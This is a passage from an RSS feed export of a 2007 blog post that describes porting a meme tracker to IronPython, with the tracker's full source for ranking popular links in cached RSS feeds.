Documents is Powerful Stuff</a> (score: 1.35218082421)</li>
        </ol>
        <p>
          <u>Top Stories in all Unread Posts</u>
        </p>
        <ol>
          <li>
            <a href="http://code.google.com/apis/opensocial">OpenSocial</a> (score: 5.0)</li>
          <li>
            <a href="http://www.newsweek.com/id/70983">The Future of Reading</a> (score: 3.0)</li>
          <li>
            <a href="http://www.myspace.com/">MySpace</a> (score: 3.0) [<em>Ed Note:</em><em>Mostly
related to OpenSocial</em>]</li>
        </ol>
        <p>
As you can probably tell, the weighted scoring isn't used when determining top stories
in all unread posts. I did this to ensure that the results didn't end up being to
similar for both approaches. This functionality is definitely going to make its way
into <a href="http://www.rssbandit.org">RSS Bandit</a> now that I've figured out the
basic details on how it should work. As much as I'd like to keep this code in Iron
Python, I'll probably port it to C# when integrating it for a number of practical
reasons including maintainability (Torsten shouldn't have to learn Python as well),
performance and better integration into our application. 
</p>
        <p>
Working with Python was a joy. I especially loved programming with a <a href="http://en.wikipedia.org/wiki/REPL">REPL</a>.
If I had a question about what some code does, it's pretty easy to write a few one
or two liners to figure it out. Contrast this with  using Web searches, trawling
through MSDN documentation or creating a full blown program just to test the out some
ideas when using C# and Visual Studio. I felt a lot more productive even though all
I was using was Emacs and a DOS prompt.  
</p>
        <p>
I expected the hardest part of my project to be getting my wife to tolerate me spending
most of the weekend hacking code. That turned out not to be a problem because it didn't
take as long as I expected and for the most part we did spend the time together (me
on the laptop, her reading <a href="http://www.amazon.com/Other-Boleyn-Girl-Philippa-Gregory/dp/0743227441">The
Other Boleyn Girl</a>, both of us on the sofa).  
</p>
        <p>
There are at least two things that need some fine tuning. The first is that I get
the title of the link from the text of the links used to describe it and that doesn't
lead to very useful link text in over half of the cases. After generating the page,
there may need to be a step that goes out to the HTML pages and extracts their title
elements for use as link text. The second problem is that popular sites like <a href="http://www.facebook.com">Facebook</a> and <a href="http://www.twitter.com">Twitter</a> tend
to show up every once in a while in the list just because people talk about them so
much. This seems to happen less than I expected however, so this may not be a problem
in reality. 
</p>
        <p>
Now I just have to worry about whether to call the button [Show Popular Stories] or
[Show Most Linked Stories]. Thoughts? 
</p>
        <p>
        </p>
        <hr />
        <p>
        </p>
        <p>
import time, sys, re, System, System.IO, System.Globalization<br />
from System import *<br />
from System.IO import *<br />
from System.Globalization import DateTimeStyles<br />
import clr<br />
clr.AddReference("System.Xml")<br />
from System.Xml import * 
</p>
        <p>
#################################################################<br />
#<br />
# USAGE: ipy memetracker.py &lt;directory-of-rss-feeds&gt; &lt;mode&gt; 
<br />
# mode = 0 show most popular links in unread items<br />
# mode = 1 show most popular links from items from the past week<br />
################################################################# 
</p>
        <p>
all_links = {}<br />
one_week =  TimeSpan(7,0,0,0) 
</p>
        <p>
cache_location = r"C:\Documents and Settings\dareo\Local Settings\Application Data\RssBandit\Cache"<br />
href_regex     = r"&lt;a[\s]+[^&gt;]*?href[\s]?=[\s\"\']+(.*?)[\"\']+.*?&gt;([^&lt;]+|.*?)?&lt;\/a&gt;"<br />
regex          = re.compile(href_regex) 
</p>
        <p>
(popular_in_unread, popular_in_past_week) = range(2)<br />
mode = popular_in_past_week 
</p>
        <p>
class RssItem:<br />
    """Represents an RSS item"""<br />
    def __init__(self, permalink, title, date, read, outgoing_links):<br />
        self.outgoing_links = outgoing_links<br />
        self.permalink     
= permalink<br />
        self.title         
= title<br />
        self.date          
= date<br />
        self.read          
= read 
</p>
        <p>
def MakeRssItem(itemnode):<br />
    link_node  = itemnode.SelectSingleNode("link")<br />
    permalink  = link_node and link_node.InnerText or ''<br />
    title_node = itemnode.SelectSingleNode("title")<br />
    title      = link_node and title_node.InnerText
or ''<br />
    date_node  = itemnode.SelectSingleNode("pubDate")<br />
    date       = date_node and DateTime.Parse(date_node.InnerText,
None, DateTimeStyles.AdjustToUniversal) or DateTime.Now  
<br />
    read_node  = itemnode.SelectSingleNode("//@*[local-name()
= 'read']")<br />
    read       = read_node and int(read_node.Value)
or 0<br />
    desc_node  = itemnode.SelectSingleNode("description")<br />
    # obtain href value and link text pairs<br />
    outgoing   = desc_node and regex.findall(desc_node.InnerText)
or []<br />
    outgoing_links = {}<br />
    #ensure we only collect unique href values from entry by replacing
list returned by regex with dictionary<br />
    if len(outgoing) &gt; 0:<br />
        for url, linktext in outgoing:<br />
            outgoing_links[url]
= linktext<br />
    return RssItem(permalink, title, date, read, outgoing_links)    
</p>
        <p>
if __name__ == "__main__":<br />
    if len(sys.argv) &gt; 1: #get directory of RSS feeds<br />
        cache_location = sys.argv[1]<br />
    if len(sys.argv) &gt; 2: # mode = 0 means use only unread items,
mode = 1 means use all items from past week 
<br />
        mode          
= int(argv[2]) and popular_in_past_week or popular_in_unread 
</p>
        <p>
    print "Processing items from %s seeking items that are %s" % (cache_location,<br />
                                                                 
mode and "popular in items from the past week"<br />
                                                                 
or "popular in unread items" )<br />
    #decide what filter function to use depending on mode<br />
    filterFunc = mode and (lambda x : (DateTime.Now - x.date) &lt;
one_week) or (lambda x : x.read == 0)<br />
    #in mode = 0 each entry linking to an item counts as a vote, in
mode = 1 value of vote depends on item age<br />
    voteFunc   = mode and (lambda x: 1.0 - (DateTime.Now.Ticks
- x.date.Ticks) * 1.0 / one_week.Ticks) or (lambda x: 1.0) 
</p>
        <p>
    di = DirectoryInfo(cache_location)<br />
    for fi in di.GetFiles("*.xml"):      
<br />
        doc = XmlDocument()<br />
        doc.Load(Path.Combine(cache_location, fi.Name))<br />
        # for each item in feed        
<br />
        #  1. Get permalink, title, read status
and date<br />
        #  2. Get list of outgoing links +
link title pairs<br />
        #  3. Convert above to RssItem object<br />
        items = [ MakeRssItem(node) for node in
doc.SelectNodes("//item")]<br />
        feedTitle = doc.SelectSingleNode("/rss/channel/title").InnerText<br />
        # apply filter to pick candidate items,
then calculate vote for each outgoing url<br />
        for item in filter(filterFunc, items):<br />
            vote = (voteFunc(item),
item, feedTitle)<br />
            #add a vote for
each of the URLs<br />
            for url in item.outgoing_links.Keys:<br />
               
if all_links.get(url) == None:<br />
                   
all_links[url] = []<br />
               
all_links.get(url).append(vote) 
</p>
        <p>
       # tally the votes, only 1 vote counts per feed<br />
    weighted_links = []<br />
    for link, votes in all_links.items():<br />
        site = {}<br />
        for weight, item, feedTitle in votes:                
<br />
            site[feedTitle]
= min(site.get(feedTitle,1), weight) 
<br />
        weighted_links.append((sum(site.values()),
link))<br />
    weighted_links.sort()<br />
    weighted_links.reverse() 
</p>
        <p>
    # output the results, choose link text from first item we saw story
linked from<br />
    print "&lt;ol&gt;"    
<br />
    for weight, link in weighted_links[:10]:<br />
        link_text = (all_links.get(link)[0])[1].outgoing_links.get(link)<br />
        print "&lt;li&gt;&lt;a href='%s'&gt;%s&lt;/a&gt;
(%s)" % (link, link_text, weight)<br />
        print "&lt;p&gt;Seen on:"<br />
        print "&lt;ul&gt;"<br />
        for weight, item, feedTitle in all_links.get(link):<br />
            print "&lt;li&gt;%s:
&lt;a href='%s'&gt;%s&lt;/a&gt;&lt;/li&gt;" % (feedTitle, item.permalink, item.title)<br />
        print "&lt;/ul&gt;&lt;/p&gt;&lt;/li&gt;"  
<br />
    print "&lt;/ol&gt;" 
</p>
        <img width="0" height="0" src="http://www.25hoursaday.com/weblog/aggbug.ashx?id=9a5175fb-3058-47f8-b340-7619e670830c" />
      </body>
      <title>A Meme Tracker in IronPython</title>
      <guid isPermaLink="false">http://www.25hoursaday.com/weblog/PermaLink,guid,9a5175fb-3058-47f8-b340-7619e670830c.aspx</guid>
      <link>http://www.25hoursaday.com/weblog/2007/11/26/AMemeTrackerInIronPython.aspx</link>
      <pubDate>Mon, 26 Nov 2007 13:56:05 GMT</pubDate>
      <description>&lt;p&gt;
My weekend project was to read &lt;a href="http://www.diveintopython.org"&gt;Dive Into Python&lt;/a&gt; and
learn enough Python to be able to port &lt;a href="http://planet.intertwingly.net/memes.atom"&gt;Sam
Ruby's meme tracker&lt;/a&gt; (&lt;a href="http://intertwingly.net/stories/2006/09/05/mememe.py"&gt;source
code&lt;/a&gt;) from CPython to Iron Python. Sam's meme tracker, shows the most popular
links from the past week from the blogs in his RSS subscriptions. A nice wrinkle Sam
added to his code is that more recent posts are weighted higher than older posts.
So a newly hot item with 3 or 4 links posted yesterday ends up ranking higher than
an item with 6 to 10 posts about it from five days ago. Using that sort of weighting
probably wouldn't have occurred to me if I just hacked the feature on my own, so I'm
glad I spent the time learning Sam's code. 
&lt;/p&gt;
&lt;p&gt;
There are a few differences between Sam's code and mine, the most significant being
that I support two modes; showing the most popular items from all unread posts and
showing the most popular items from the past week. The other differences mainly have
to do with the input types (Atom entries vs. RSS feeds) and using .NET Libraries like
System.Xml and System.IO instead of CPython libraries like libxml2 and blob. You can
see the difference between both approaches for determining top stories on my feed
subscriptions below 
&lt;/p&gt;
&lt;p&gt;
&lt;u&gt;Top Stories in the Past Week&lt;/u&gt;
&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;a href="http://www.nytimes.com/2007/11/25/technology/25proto.html?ex=1353646800&amp;amp;en=1ede36007f8baff4&amp;amp;ei=5124&amp;amp;partner=permalink&amp;amp;exprod=permalink"&gt;Mobile
Web: So Close Yet So Far&lt;/a&gt; (score: 1.71595943656)&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.techcrunch.com/2007/11/22/the-secret-strategies-behind-many-viral-videos/"&gt;The
Secret Strategies Behind Many "Viral" Videos&lt;/a&gt; (score: 1.52423410473)&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.techcrunch.com/2006/09/08/live-documents-is-powerful-stuff/"&gt;Live
Documents is Powerful Stuff&lt;/a&gt; (score: 1.35218082421)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;
&lt;u&gt;Top Stories in all Unread Posts&lt;/u&gt; 
&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;a href="http://code.google.com/apis/opensocial"&gt;OpenSocial&lt;/a&gt; (score: 5.0)&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.newsweek.com/id/70983"&gt;The Future of Reading&lt;/a&gt; (score: 3.0)&lt;/li&gt;
&lt;li&gt;
&lt;a href="http://www.myspace.com/"&gt;MySpace&lt;/a&gt; (score: 3.0) [&lt;em&gt;Ed Note:&lt;/em&gt; &lt;em&gt;Mostly
related to OpenSocial&lt;/em&gt;]&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;
As you can probably tell, the weighted scoring isn't used when determining top stories
in all unread posts. I did this to ensure that the results didn't end up being to
similar for both approaches. This functionality is definitely going to make its way
into &lt;a href="http://www.rssbandit.org"&gt;RSS Bandit&lt;/a&gt; now that I've figured out the
basic details on how it should work. As much as I'd like to keep this code in Iron
Python, I'll probably port it to C# when integrating it for a number of practical
reasons including maintainability (Torsten shouldn't have to learn Python as well),
performance and better integration into our application. 
&lt;/p&gt;
&lt;p&gt;
Working with Python was a joy. I especially loved programming with a &lt;a href="http://en.wikipedia.org/wiki/REPL"&gt;REPL&lt;/a&gt;.
If I had a question about what some code does, it's pretty easy to write a few one
or two liners to figure it out. Contrast this with&amp;nbsp; using Web searches, trawling
through MSDN documentation or creating a full blown program just to test the out some
ideas when using C# and Visual Studio. I felt a lot more productive even though all
I was using was Emacs and a DOS prompt.&amp;nbsp; 
&lt;/p&gt;
&lt;p&gt;
I expected the hardest part of my project to be getting my wife to tolerate me spending
most of the weekend hacking code. That turned out not to be a problem because it didn't
take as long as I expected and for the most part we did spend the time together (me
on the laptop, her reading &lt;a href="http://www.amazon.com/Other-Boleyn-Girl-Philippa-Gregory/dp/0743227441"&gt;The
Other Boleyn Girl&lt;/a&gt;, both of us on the sofa).&amp;nbsp; 
&lt;/p&gt;
&lt;p&gt;
There are at least two things that need some fine tuning. The first is that I get
the title of the link from the text of the links used to describe it and that doesn't
lead to very useful link text in over half of the cases. After generating the page,
there may need to be a step that goes out to the HTML pages and extracts their title
elements for use as link text. The second problem is that popular sites like &lt;a href="http://www.facebook.com"&gt;Facebook&lt;/a&gt; and &lt;a href="http://www.twitter.com"&gt;Twitter&lt;/a&gt; tend
to show up every once in a while in the list just because people talk about them so
much. This seems to happen less than I expected however, so this may not be a problem
in reality. 
&lt;/p&gt;
&lt;p&gt;
Now I just have to worry about whether to call the button [Show Popular Stories] or
[Show Most Linked Stories]. Thoughts? 
&lt;/p&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;
&lt;/p&gt;
&lt;p&gt;
import time, sys, re, System, System.IO, System.Globalization&lt;br&gt;
from System import *&lt;br&gt;
from System.IO import *&lt;br&gt;
from System.Globalization import DateTimeStyles&lt;br&gt;
import clr&lt;br&gt;
clr.AddReference("System.Xml")&lt;br&gt;
from System.Xml import * 
&lt;/p&gt;
&lt;p&gt;
#################################################################&lt;br&gt;
#&lt;br&gt;
# USAGE: ipy memetracker.py &amp;lt;directory-of-rss-feeds&amp;gt; &amp;lt;mode&amp;gt; 
&lt;br&gt;
# mode = 0 show most popular links in unread items&lt;br&gt;
# mode = 1 show most popular links from items from the past week&lt;br&gt;
################################################################# 
&lt;/p&gt;
&lt;p&gt;
all_links = {}&lt;br&gt;
one_week =&amp;nbsp; TimeSpan(7,0,0,0) 
&lt;/p&gt;
&lt;p&gt;
cache_location = r"C:\Documents and Settings\dareo\Local Settings\Application Data\RssBandit\Cache"&lt;br&gt;
href_regex&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; = r"&amp;lt;a[\s]+[^&amp;gt;]*?href[\s]?=[\s\"\']+(.*?)[\"\']+.*?&amp;gt;([^&amp;lt;]+|.*?)?&amp;lt;\/a&amp;gt;"&lt;br&gt;
regex&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; = re.compile(href_regex) 
&lt;/p&gt;
&lt;p&gt;
(popular_in_unread, popular_in_past_week) = range(2)&lt;br&gt;
mode = popular_in_past_week 
&lt;/p&gt;
&lt;p&gt;
class RssItem:&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; """Represents an RSS item"""&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; def __init__(self, permalink, title, date, read, outgoing_links):&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; self.outgoing_links = outgoing_links&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; self.permalink&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
= permalink&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; self.title&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
= title&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; self.date&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
= date&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; self.read&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
= read 
&lt;/p&gt;
&lt;p&gt;
def MakeRssItem(itemnode):&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; link_node&amp;nbsp; = itemnode.SelectSingleNode("link")&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; permalink&amp;nbsp; = link_node and link_node.InnerText or ''&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; title_node = itemnode.SelectSingleNode("title")&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; title&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; = link_node and title_node.InnerText
or ''&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; date_node&amp;nbsp; = itemnode.SelectSingleNode("pubDate")&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; date&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; = date_node and DateTime.Parse(date_node.InnerText,
None, DateTimeStyles.AdjustToUniversal) or DateTime.Now&amp;nbsp; 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; read_node&amp;nbsp; = itemnode.SelectSingleNode("//@*[local-name()
= 'read']")&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; read&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; = read_node and int(read_node.Value)
or 0&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; desc_node&amp;nbsp; = itemnode.SelectSingleNode("description")&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; # obtain href value and link text pairs&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; outgoing&amp;nbsp;&amp;nbsp; = desc_node and regex.findall(desc_node.InnerText)
or []&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; outgoing_links = {}&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; #ensure we only collect unique href values from entry by replacing
list returned by regex with dictionary&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; if len(outgoing) &amp;gt; 0:&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for url, linktext in outgoing:&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; outgoing_links[url]
= linktext&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; return RssItem(permalink, title, date, read, outgoing_links)&amp;nbsp;&amp;nbsp;&amp;nbsp; 
&lt;/p&gt;
&lt;p&gt;
if __name__ == "__main__":&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; if len(sys.argv) &amp;gt; 1: #get directory of RSS feeds&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cache_location = sys.argv[1]&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; if len(sys.argv) &amp;gt; 2: # mode = 0 means use only unread items,
mode = 1 means use all items from past week 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mode&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
= int(argv[2]) and popular_in_past_week or popular_in_unread 
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; print "Processing items from %s seeking items that are %s" % (cache_location,&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
mode and "popular in items from the past week"&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
or "popular in unread items" )&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; #decide what filter function to use depending on mode&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; filterFunc = mode and (lambda x : (DateTime.Now - x.date) &amp;lt;
one_week) or (lambda x : x.read == 0)&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; #in mode = 0 each entry linking to an item counts as a vote, in
mode = 1 value of vote depends on item age&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; voteFunc&amp;nbsp;&amp;nbsp; = mode and (lambda x: 1.0 - (DateTime.Now.Ticks
- x.date.Ticks) * 1.0 / one_week.Ticks) or (lambda x: 1.0) 
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; di = DirectoryInfo(cache_location)&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; for fi in di.GetFiles("*.xml"):&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; doc = XmlDocument()&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; doc.Load(Path.Combine(cache_location, fi.Name))&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # for each item in feed&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; #&amp;nbsp; 1. Get permalink, title, read status
and date&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; #&amp;nbsp; 2. Get list of outgoing links +
link title pairs&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; #&amp;nbsp; 3. Convert above to RssItem object&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; items = [ MakeRssItem(node) for node in
doc.SelectNodes("//item")]&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; feedTitle = doc.SelectSingleNode("/rss/channel/title").InnerText&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # apply filter to pick candidate items,
then calculate vote for each outgoing url&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for item in filter(filterFunc, items):&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; vote = (voteFunc(item),
item, feedTitle)&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; #add a vote for
each of the URLs&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for url in item.outgoing_links.Keys:&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
if all_links.get(url) == None:&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
all_links[url] = []&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
all_links.get(url).append(vote) 
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; # tally the votes, only 1 vote counts per feed&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; weighted_links = []&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; for link, votes in all_links.items():&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; site = {}&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for weight, item, feedTitle in votes:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; site[feedTitle]
= min(site.get(feedTitle,1), weight) 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; weighted_links.append((sum(site.values()),
link))&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; weighted_links.sort()&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; weighted_links.reverse() 
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; # output the results, choose link text from first item we saw story
linked from&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; print "&amp;lt;ol&amp;gt;"&amp;nbsp;&amp;nbsp;&amp;nbsp; 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; for weight, link in weighted_links[:10]:&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; link_text = (all_links.get(link)[0])[1].outgoing_links.get(link)&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print "&amp;lt;li&amp;gt;&amp;lt;a href='%s'&amp;gt;%s&amp;lt;/a&amp;gt;
(%s)" % (link, link_text, weight)&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print "&amp;lt;p&amp;gt;Seen on:"&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print "&amp;lt;ul&amp;gt;"&lt;br&gt;
